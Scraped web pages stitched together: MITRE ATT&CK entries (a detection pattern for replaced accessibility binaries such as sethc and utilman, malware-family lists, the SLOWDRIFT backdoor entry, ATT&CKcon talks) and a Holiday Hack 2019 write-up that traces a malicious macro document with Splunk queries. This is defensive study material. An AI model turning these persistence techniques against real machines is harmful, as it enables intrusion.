.(sethcutilmanosknarratormagnify).exe" DS Windows Registry Windows Registry Key Modification Monitor Registry keys within HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. References - Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016. - Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017. - Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014. - Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020. - Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016. - Dunwoody, M. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved March 27, 2017. - valsmith. (2012, September 21). More on APTSim. Retrieved
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versions_v15_techniques_T1546_008.txt
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Currently viewing ATT&CK v7.2 which was live between July 8, 2020 and October 26, 2020. Learn more about the versioning system or see the live site. Register to stream the next session of ATT&CKcon Power Hour November SOFTWARE Overview 3PARA RAT 4H RAT ABK adbupd Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Anubis Aria-body Arp ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avenger Azorult BabyShark BackConfig Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBK BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT CARROTBALL CARROTBAT Catchamas CCBkdr Cerberus certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit CORALDECK CORESHELL Corona Updates CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice DEFENSOR ID Dendroid Denis Derusbi Dipsind DOGCALL Dok down_new Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EventBot EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon GolfSpy Gooligan Goopy GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro ifconfig iKitten Imminent Monitor Impacket InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Kivars Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax Lokibot LoudMiner LOWBALL Lslsass Lurid Machete MacSpy MailSniper Marcher Matroyshka MazarBOT MAZE MechaFlounder meek MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT Ragnar Locker Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-Type Sakula SamSam schtasks SDBot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skidmap Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys SYSCON Systeminfo T Taidoor TajMahal Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak Vasport VBShower VERMIN ViceLeaker Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel YAHOYAH YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B ABK adbupd Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Anubis Aria-body Arp ASPXSpy Astaroth at Attor AuditCred AutoIt backdoor Avenger Azorult BabyShark BackConfig Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBK BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Bread Briba BS BUBBLEWRAP build_downer Bundlore C-D Cachedump Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT CARROTBALL CARROTBAT Catchamas CCBkdr Cerberus certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit CORALDECK CORESHELL Corona Updates CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice DEFENSOR ID Dendroid Denis Derusbi Dipsind DOGCALL Dok down_new Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EventBot EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis G-H Gazer GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon GolfSpy Gooligan Goopy GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J ifconfig iKitten Imminent Monitor Impacket InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Kivars Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax Lokibot LoudMiner LOWBALL Lslsass Lurid M-N Machete MacSpy MailSniper Marcher Matroyshka MazarBOT MAZE MechaFlounder meek MESSAGETAP Metamorfo Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PLEAD PlugX pngdowner PoetRAT PoisonIvy Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT Ragnar Locker Ramsay RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Rifdoor Riltok RIPTIDE Rising Sun RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT Ryuk S-T S-Type Sakula SamSam schtasks SDBot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skidmap Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys SYSCON Systeminfo T Taidoor TajMahal Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor Triada TrickBot TrickMo Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak Vasport VBShower VERMIN ViceLeaker Volgmer W-X WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Y-Z YAHOYAH YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - SLOWDRIFT SLOWDRIFT SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea. [1] ID: S Type: MALWARE Platforms: Windows Version: 1. Created: 18 April Last Modified: 30 March Version Permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T Ingress Tool Transfer SLOWDRIFT downloads additional payloads.[1] Enterprise T System Information Discovery SLOWDRIFT collects and sends system information to its C2.[1] Enterprise T . Web Service: Bidirectional Communication SLOWDRIFT uses cloud based services for C2.[1] Groups That Use This Software ID Name References G APT [1] References - FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. × load more results
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versions_v7_software_S0218.txt
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Currently viewing ATT&CK v17.1 which is the current version of ATT&CK. Learn more about the versioning system or see the live site. ATT&CKcon 6.0 is coming October 14-15 in McLean, VA and live online. To potentially join us on stage, submit to our CFP by July 9th - Home - Resources - ATT&CKcon - ATT&CKcon 2. ATT&CKcon 2. Presentations Welcome Katie Nickels, MITRE ATT&CK Threat Intelligence Lead Katie Nickels welcomes attendees and introduces the members of the ATT&CK team. Recording The Friends We Made Along the Way, Keynote Address Toni Gidwani, Google In the keynote from ATT&CKcon 2.0, Toni Gidwani from Google’s Threat Analysis Group presents "The Friends We Made Along the Way." The talk focuses on the purpose of intelligence, to create a decision advantage, and the partnerships that are necessary to achieve that purpose. Recording Slide Deck State of the ATT&CK Blake Strom, MITRE MITRE ATT&CK Lead Blake Strom updates the community on what’s new in ATT&CK since ATT&CKcon 2018 and some of what to expect in the coming year. This talk includes details on ATT&CK for Cloud, the new Impact Tactic, structured mitigations, and the upcoming shift to sub-techniques. Recording Slide Deck Using Threat Intelligence to Focus ATT&CK Activities David Westin and Andy Kettell, Nationwide In October 2018, Nationwide began its MITRE ATT&CK journey. Nationwide looked at a number of different approaches to getting started, but it wasn’t until they prioritized efforts based on threat actors likely to target the finance/insurance industry that things started to click. Ultimately, Nationwide focused on 27 high concern threat actors targeting their industry, reducing the overall number of techniques from 240+ to 91. With this manageable chunk of techniques, Nationwide was able to test, analyze, and provide recommendations for improving its detection and mitigation capabilities. Nationwide is continuing to keep threat actor focus at the heart of its ATT&CK efforts, leading to prioritization of remediation actions, integration into penetration testing, and selection of security tools. Recording Slide Deck Prioritizing ATT&CK Informed Defenses the CIS Way Philippe Langlois, Verizon DBIR; Joshua Franklin, Center for Internet Security In a world of limited resources, organizations have to be strategic and meticulous in their planning and selection of security controls and the MITRE ATT&CK model has become an important piece for categorizing and understanding adversary techniques and contextualizing our own defenses. However, there still underlies a difficult question, where should organizations start and how should they prioritize their cybersecurity efforts? Join CIS as we explore our attempt to tackle this problem through the use of our community, content and real-world threat data collected as part of the Multi-State Information Sharing and Analysis Center (MS-ISAC). Participants should look forward to learning how to prioritize their security efforts and leverage the process for their own data and threats. Recording Slide Deck Alertable Techniques for Linux using ATT&CK Tony Lambert, Red Canary Community members continually ask, should I have detection capabilities across every technique in ATT&CK? This question inevitably leads to the same conclusion that not every technique is alertable and not all of them provide the same value for immediate detection. In this session we’ll discuss the concept of alertable detections using Linux ATT&CK techniques as a case study. We’ll introduce decision criteria we’ve learned through experience to illustrate the challenges, and we’ll recommend specific techniques that work well with an alert-driven workflow. Recording Slide Deck ATT&CK Updates – TRAM Jackie Lasky and Sarah Yoder, MITRE Updates from the ATT&CK Team's very own Jackie Lasky and Sarah Yoder covering Threat Report ATT&CK Mapping (TRAM). Recording Slide Deck Raiders of the MITRE Framework: How to Build Your Own Threat Library Valentina Palacin and Ruth Esmeralda Barbacil, Deloitte It's the year 2019 and the internet has been around long enough to be filled with what seems to be "ancient" data. Digging through, classifying and analyzing everything sometimes makes you feel a lot like Indiana Jones searching for the right clues in a moving puzzle. But how could you move through the caves without getting buried under piles of data rubble? How might anyone revisit and study the data from the past to transform it into actionable information for the present? In this talk we are going to show you how a threat intel Indiana Jones analyst should tackle these issues in order to find the treasure of the Threat Library. We will show you how we used the MITRE ATT&CK Framework as our book of secrets for turning dusty old Internet artifacts into a library of actionable Threat Intelligence. Recording Slide Deck Climbing the ATT&CK Ladder: How a Threat Hunting Team Has Upgraded Its Use of ATT&CK Karl Scheuerman and Piotr Wojtyla, CrowdStrike CrowdStrike’s OverWatch threat hunting team has continued to mature in its use of the ATT&CK framework to categorize and track targeted adversary behavior. This presentation will build on our talk from last year’s ATT&CKcon, where we shared tactic/technique trends and unique examples observed in the wild. Since that time, we have taken a number of steps to enhance our usage of ATT&CK, including: - Mapping of hunting leads to ATT&CK techniques - Based on that mapping, auto-tagging techniques used in any given intrusion observed in our data set - For that intrusion, automatically extracting process data to easily create tables of TTP details (“ATT&CK Sightings”) - Supplementing automated ATT&CK technique tagging by human analyst reviews - Leveraging MISP’s API to build ATT&CK heat maps with an array of filters on demand By using practices like those outlined above, we have been able to continue building what is likely the most comprehensive and detailed library of targeted intrusion data from the wild that is mapped to ATT&CK. As such, the presentation will also share significant trends and techniques from the intrusions we’ve analyzed over the past year. Recording From Susceptible to ATT&CK: A Threat Hunting Story Chris Thayer, Mastercard The story of one man's crusade to convince the Senior Management of a fortune 500 company that security resources were needed beyond the perimeter, and the role ATT&CK played in those decisions. This talk documents the creation and persuasion required to create a successful threat hunting program at an enterprise level, and how the Mitre ATT&CK framework made this possible for one investigator, in his spare time, to prove the program's worth to senior management within 1 year of creation. Recording Slide Deck ATT&CK Updates – Sightings John Wunder, MITRE Updates from the ATT&CK Team's very own John Wunder covering ATT&CK Sightings. Recording Slide Deck Zeek-based ATT&CK Metrics & Gap Analysis Allan Thomson, LookingGlass Cyber Solutions Today many organizations are using Bro (newly named Zeek) for network security monitor as it provides a powerful network analysis framework. This presentation will describe how to leverage Zeek to report on ATT&CK TTPs, raw events and other detectable activities. Key take-aways include how to report on sightings and occurrences of ATT&CK TTPs and events providing both metrics and gap analysis to inform security operations teams on where their defense may require improvement. Recording Slide Deck attckr: A Toolkit for Analysis & Visualization of ATT&CK Incident Data for Service Providers & Organizations Bob Rudis, Rapid The ATT&CK framework provides a standardized way for organizations to record and share attacker techniques used at each stage in attacker campaigns. Having and sharing this discrete, normalized attacker behavior is great, but these normalized bundles of incident events can also be used to identify areas of improvement in both incident response teams as well as by vendors who provide tools/solutions to triage and manage incidents.This talk will introduce {attckr}: an R package and application that provides programmatic, command-line, and interactive tools to analyze and visualize incident ATT&CK metrics. Attendees will see real-life (i.e. using real, anonymized incident data) examples of how to look across an ATT&CK incident corpus to identify trends (or outliers), support the development of ATT&CK incident baseline metrics, and develop reports and visualizations to assist in communicating operational performance, threat event frequency & type distributions for risk analysis, and identification of strengths and weaknesses in detection capability. Recording Slide Deck MITRE ATT&CK Assessment from a Data Perspective Olaf Hartong, Deloitte MITRE ATT&CK has quickly become the industry standard for referencing techniques. All though the framework is a great and valuable asset it is still lacking actionable detail on may levels to most people. I've bridged that gap by building a relatively simple assessment toolkit to visualize your potential coverage from the data already present in your environment, your mitigative measures and your detection content. The toolkit will help you focus your efforts based on your data and your goal. Recording Slide Deck Threat-Informed Defense: Where do we go from here? Richard Struse, MITRE Richard Struse explores the concept of a threat-informed defense and talks about ways of moving the cyber security community forward. Recording Slide Deck AMITT: ATT&CK-based Standards for Misinformation Threat Sharing Sara-Jayne Terp and John Gray, Credibility Coalition MisinfoSec Working Group State actors, private influence operators and grassroots groups are exploiting the openness and reach of the Internet to manipulate populations at a distance. They are extending a decades-long struggle for “hearts and minds” via propaganda, influence operations and information warfare, often in the form of coordinated incidents that are part of longer-timescale narrative-based campaigns.The Credibility Coalition
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versions_v17_resources_attackcon_october-2019.txt
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parent id, parent name, and command line. It finds the malicious PowerShell, and gives a parent of WmiPrvSE.exe: Click for full size image It doesn’t give me much information about the parent though. I decided to look at the event logs. I opened the time window to one minute leading up to the PowerShell running. I then issued the following query: * sourcetype="WinEventLog" EventCode= | eval pid=tonumber(New_Process_ID,16) | eval ppid=tonumber(Creator_Process_ID,16) | table _time, pid, New_Process_Name, ppid, Creator_Process_Name, Process_Command_Line | sort _time It starts with event logs for process creation, and then adds two fields, pid and ppid, which are the int versions of the process id and parent process id. Then I’ll create a table of output with the timestamp, pid, process name, parent pid, parent process name, and command line, and make sure it’s sorted by time: Click for full size image At the very end, I see PowerShell start (7) and then it starts a conhost instance (6). Lines 1, 3, and 4 seem to have to do with the opening of a document in Word. Looking at the command line from the first line, I see the filename: C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\Temp\Temp1_Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm" /o " It’s a .docm file, which is a Word doc with macros enabled. That’s very suspicious. I’ll submit the filename 19th Century Holiday Cheer Assignment.docm and it’s correct. Question How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1) Alice talks about stoQ, and gives an example query for how to use it: index=main sourcetype=stoq | table _time results{}.workers.smtp.to results{}.workers.smtp.from results{}.workers.smtp.subject results{}.workers.smtp.body | sort - _time This query shows how to walk the nested json: Click for full size image I’ll modify it to get what I need (the query didn’t need to be this complex, but I took capitalization into account): index=main sourcetype=stoq results{}.workers.smtp.subject="Holiday Cheer Assignment Submission" | spath output=from_address path=results{}.workers.smtp.from | eval from_address_lower=lower(from_address) | stats count by from_address_lower | stats count This query takes the data and searches for emails with the subject line required for the submission. Then it creates a field, from_address which is the list of from addresses, and then creates from_address_lower to ensure there are no duplicates. Finally, I’ll use the Splunk stats count to get the count for each sending address, and then the stats count again to get the number of lines returned. It returns 21: I can submit that and it’s correct. If I remove the last stats count, I can see the list of email addresses, each submitting once: Question What was the password for the zip archive that contained the suspicious file? Since I know I’m looking for a .docm file, I’ll start with that. Searching for index=main sourcetype=stoq docm returns only one result. I’ll add a table to get the interesting information: index=main sourcetype=stoq docm | table results{}.workers.smtp.from results{}.workers.smtp.to results{}.workers.smtp.body Click for full size image In the body text, I see the password 123456789, which is the correct answer. Question What email address did the suspicious file come from? I’ve already got the answer to this from the query above, bradly.buttercups@eifu.org. On submitting, I’ve got the training questions complete: Splunk Challenge Question Challenge What was the message for Kent that the adversary embedded in this attack? Alice gives me some more hints: - Work with this archive of files. - Start with the stoQ even from the last challenge question, the email from Bradly Buttercups. - Use the results->payload_meta->extra_data->filename field to find the document I’m looking for, and then use results->archivers->filedir->path to find the path of that file in the archive. - She provides a Splunk command to generate a table of filenames and filepaths from a stoQ log. - Modern word docs are just a bunch of xml files. She doesn’t say this, but in fact, a modern Word doc is just a zip file containing a bunch of mostly xml files. Solution I can paste in the given Splunk query and get the list of files pulled out of this email: Click for full size image That may look like a lot of files, but really, it’s mostly the files from within the Word document. The first line is the email itself. The next is the attached password-protected zip. Then the .docm file from inside the zip. The rest of the files are what make up the document. Despite the fact that Alice warned against downloading malware, I’m comfortable playing with the document in my sandboxed Linux VM. Given the table above, I’ll download it. But the Holiday Hack team didn’t want to actually distribute malware: $ file 19th\ Century\ Holiday\ Cheer\ Assignment.docm 19th Century Holiday Cheer Assignment.docm: ASCII text, with very long lines $ cat 19th\ Century\ Holiday\ Cheer\ Assignment.docm Cleaned for your safety. Happy Holidays! In the real world, This would have been a wonderful artifact for you to investigate, but it had malware in it of course so it's not posted here. Fear not! The core.xml file that was a component of this original macro-enabled Word doc is still in this File Archive thanks to stoQ. Find it and you will be a happy elf :-) Given the hint, I’ll pull core.xml and check it out: $ cat core.xml | xmllint --format - <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dc:title>Holiday Cheer Assignment</dc:title> <dc:subject>19th Century Cheer</dc:subject> <dc:creator>Bradly Buttercups</dc:creator> <cp:keywords/> <dc:description>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.</dc:description> <cp:lastModifiedBy>Tim Edwards</cp:lastModifiedBy> <cp:revision>4</cp:revision> <dcterms:created xsi:type="dcterms:W3CDTF">2019-11-19T14:54:00Z</dcterms:created> <dcterms:modified xsi:type="dcterms:W3CDTF">2019-11-19T17:50:00Z</dcterms:modified> <cp:category/> </cp:coreProperties> The description field has the message: Kent you are so unfair. And we were going to make you the king of the Winter Carnival. Entering that into the Splunk console solves the challenge, and into my badge solves the objective. Extra - Splunk Table Breakdown The command given by Alice to generate the file table is as follows: index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>" | eval results = spath(_raw, "results{}") | mvexpand results | eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename | search fullpath!="" | table filename,fullpath Looking at that line by line: - Gets the stoQ log for the malicious email. - Create a value results which is all the results from the passed in log. This will be one single row with all the results. - mvexpand will expand that single row into a row for each result. - Use eval to create path, filename, and fullpath with spath. - Remove any rows where fullpath is empty. - Show filename and fullpath. I don’t really understand why they create fullpath. The archive is set up such that the actual downloadable file is at path. Narrative Alice says she’ll put in a good word for me with the Boss of the SOC. And Professor Banas is grateful: Oh, thanks so much for your help! Sorry I was freaking out. I’ve got to talk to Kent about using my email again… …and picking up my dry cleaning. « 5) Determine Compromised System7) Get Access To The Steam Tunnels »
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holidayhack2019_6.txt
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Currently viewing ATT&CK v7.0-beta which was live between March 31, 2020 and July 7, 2020. Learn more about the versioning system or see the live site. You are currently viewing the sub-techniques beta. Take a tour, read the blog post or release notes, or see the non-beta version of the site. SOFTWARE Overview 3PARA RAT 4H RAT adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon GolfSpy Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany 